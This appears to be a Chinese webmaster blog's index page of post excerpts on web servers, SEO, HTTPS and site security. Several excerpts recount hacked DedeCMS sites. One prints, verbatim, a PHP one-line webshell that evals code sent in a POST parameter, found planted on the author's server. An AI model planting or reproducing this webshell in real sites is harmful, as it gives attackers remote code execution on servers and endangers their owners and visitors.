网站
-
-
apahce和nginx到底哪个更适合跑网站？
网站用于承载网站的程序最多的是apahce和nginx。那倒底那俩那个更好？ 其它各有各的优势，下面说说两个系统的各自特点：1、二者最核心的区别在于apache是同步多进程模型，一个连接对应一个进程；nginx是异步的，多个连接（万级别）可以对应一个进程。nginx处理静态文件好,耗费内存少.但无疑apache仍然是目前的主流,有很多丰富的特性.所以还需要搭配着来.当然如果能确定nginx就适合需求,那么使用nginx会是更经济的方式。2、nginx的负载能力比apache高很多。最新的服务器也改用nginx了。而...
-
诡异的一天：dede网站被黑，lnmp的phpmyadmin又不能访问
真的是悲剧的一天。dede网站被黑；中午发现网站首页被改了，dedecms程序， 进网站目录，发现除了首页被改，多个目录下发现有一句话木马的文件。一通修改加清理，准备去后台重新生成首页，发现dede的验证码不显示；经过四处搜索，绕过了验证码，进入后台操作发现提示“请求错误”。 作罢，准备用phpmyadmin准备下数据库，然后重新安装。lnmp环境又出奇葩问题 按常规操作，打开 http://193.8.83.222/phpmyadmin ，结果自动跳转到 https:...
-
【转】dedecms首页被修改之解决
【转】dedecms首页被修改之解决 我的网站最近也老是被改，首页中加入了一些php代码，甚至有些目录下还放置了一些文件，打开看了是”一句话木马“。 之前删除后又出现了，找了个文章看着还不错，已照做，期待解决。 一大早连续两位用户联系我们，网站跳转到BC网站，我们发现网站竟然跳转到了赌博、彩票网站上去了，网站在百度搜索出现：“百度网址安全中心提醒您：该站点可能受到黑客攻击，部分页面已被非法篡改！”的红色风险提示。经过分析发现，还是同样的这种中毒方法。给用户的公司带来了很大的损失，于是一大早的开始着手处...
-
惊：国内下载网站全部沦陷
惊：国内下载网站全部沦陷！正要下载个软件，虽然知道以前有这种情况，但现在发现几乎国内的下载站全部都这样了。像国内下载站知名的有 华军，中关村，天极，太平洋，还有以前YLMF搞的下载吧，都是一个鸟样。什么样？就是所有下载的东西，不是直接的软件或压缩包，而是封装成 binary fire文件，这种文件打开会捆绑一堆软件，稍不注意，就会装上那些捆绑软件。现在有些更甚，即使你去掉了没有选中，结果安装完发现还是给你安装几个。这是安装界面，看看有多少捆绑？？这并不是个例，以前发现个别下载网站还是好的，今天特意看一下，国内常用那...
-
一句话木马，?php var_dump(md5(123));$content=stripslashes(
一句话木马，<?php var_dump(md5(123));$content=stripslashes($_POST[1]);eval($content); 网站下有个文件，里面的内容是这个。原来我的网站被黑了。都说阿里云的服务器特别的稳定，价格还实惠，多年续费还打8折，心动已久。2017年初正式把网站迁移到阿里云服务器上，备好案，一切正常运行，网站访问速度比之前的西部数码真的是快了好多倍啊，不愧是马云家的东西。3月15日上午，手机突然收到了阿里云的短信，提示我网站涉及违法不良信息被阿里云屏蔽访...
-
SEO小白和SEO大神的区别
引用：本文中提到的seo渣渣是那些整天不认真作站且爱骂人直流，请勿盲目对号入座。我研究过很多个网站，认识很多个seo从业者，我发现seo渣渣和seo高手之间差别很小，正是因为这些小小的差别，造成了他们收入的不同。在此把我的这些发现写出来，希望能够给正在发牢骚的seo从业者有所启发。一、seo渣渣喜欢骂人、seo高手喜欢夸人做事想成功，百分之三十靠能力，百分之七十靠人脉，seo渣渣不懂得经营人脉，而seo高手懂得人脉的重要性。现在，搜外网、站长网、im286这三个seo从业者聚集最多人的地方，每天都是骂声非常吓人。我...
-
小站长如何防范黑客攻击
安全一直以来都是各大站长们比较关心的问题，一个网站，如果没有一个安全的系统环境，做得再好，也没什么意义，一旦遭受攻击，损失就会非常大。因此，学会防范黑客攻击，保护好自己的网站，是必要的。本人从学习建站到现在，已经用某个系统建站达几百次，不敢说对这个系统非常懂，但最基本的一些东西，我大概还是了解了。这里就给大家分享一下，我在建站护站方面的心得体会。1、越简单的越安全我看到有很多站长都喜欢追求高大上的建站系统，有很多站长对系统代码完全一窍不通，花钱请人建个站，连改个标题都不会改。我只想说，你自己又不懂，弄那么复杂的系统...
-
【网站优化】网站里的图片应该如何优化
我们一直都在做网站关键词、内页关键词、标签等。但很多朋友都忽略了网站里的图片如何优化。近年来百度图片识别、360图片识别都在不断升级功能上已经很完善了，所以我们应该对网站图片进行优化，应该做seo的朋友们重视起来， 下面笔者跟大家分享一下网站里的图片应该如何优化。一、网站图片的title标签优化对于alt标签大家都不陌生了，可title标签被大部分站长忽略了，其实笔者认为这个与alt标签是相同重要的，用户在访问网站图片的时候鼠标停留在图片上就会显示文字，这样对访客体验有很大的用处，在网站关键词密度中也会多一次关键词...
-
为什么HTTPS比HTTP更安全?
前言 近几年，互联网发生着翻天覆地的变化，尤其是我们一直习以为常的HTTP协议，在逐渐的被HTTPS协议所取代，在浏览器、搜索引擎、CA机构、大型互联网企业的共同促进下，互联网迎来了“HTTPS加密时代”，HTTPS将在未来的几年内全面取代HTTP成为传输协议的主流。 读完本文，希望你能明白： HTTP通信存在什么问题 HTTPS如何改进HTTP存在那些问题 HTTPS工作原理是什么 想阅读更多优质文章请猛戳[阅读原文],一年五十篇优质文章等着你！ 一、什么是HTTPS...
-
煎蛋网可能面临停站整顿或关停网站
昨天晚上煎蛋网相关负责人，在网上留言称煎蛋网可能面临停战整顿，或者关闭网站并表示网络键盘谈论政治除了给自己和别人找麻烦毫无意义，都长点心吧!有网友留言称：煎蛋、爱枣报、聚玩、抓虾、鲜果、糗事百科、牛博、一五一十、抽屉以前每天都逛逛，现在要不死的死，要不就是再也看不动了。现在只有抽屉和卢松松博客每天都还在刷。虽然很多也是同步微博或者更慢，但也没找到好的替代品，也懒的去花心思找替代品了。最近很多小众论坛网站，因为各种原因，都不太平静，国家对于网络的管控越来越严格，网络留言需谨慎...
-
-
检测自己网站的SSL配置是否合理的方法
现在的网站通常开启SSL已经是标配了，不过，配置好了SSL后，还需要判断一下服务器部署的是否安全，如果没有配置好的话，会带来很多安全隐患。 SSL/TLS 系列中有六种版本：SSL v2，SSL v3，TLS v1.0，TLS v1.1、TLS v1.2、TLS v1.3： SSL v2 是不安全的，不能使用。 当与 HTTP（POODLE 攻击）一起使用时，SSL v3 是不安全的，当与其他协议一起使用时，SSL v3 是弱的。它也是过时的，不应该被使用。 TLS v1.0 也是不应该使用的传统协议，但在...
-
网站目录的默认权限应该设置成什么
根目录权限设置的必要性为了安全，运行网站服务器的进行我们需要使用特定的用户和用户组，按照常规做法，我们丢回选择使用www用户组下面的www用户来运行网站服务器，不论是nginx还是apache,我们都可以这么做。www用户运行的服务器需要读取网站根目录的各种资源，包括动态脚本，比如php脚本，或者是html、css、javaScript等文件。当然了，我们也可以通过在php脚本中切换到其他的用户来执行特别的脚本，这点和在shell脚本中切换用户是一样的。一般在linux系统下网站的权限就按照如下设置目录为755，文...
-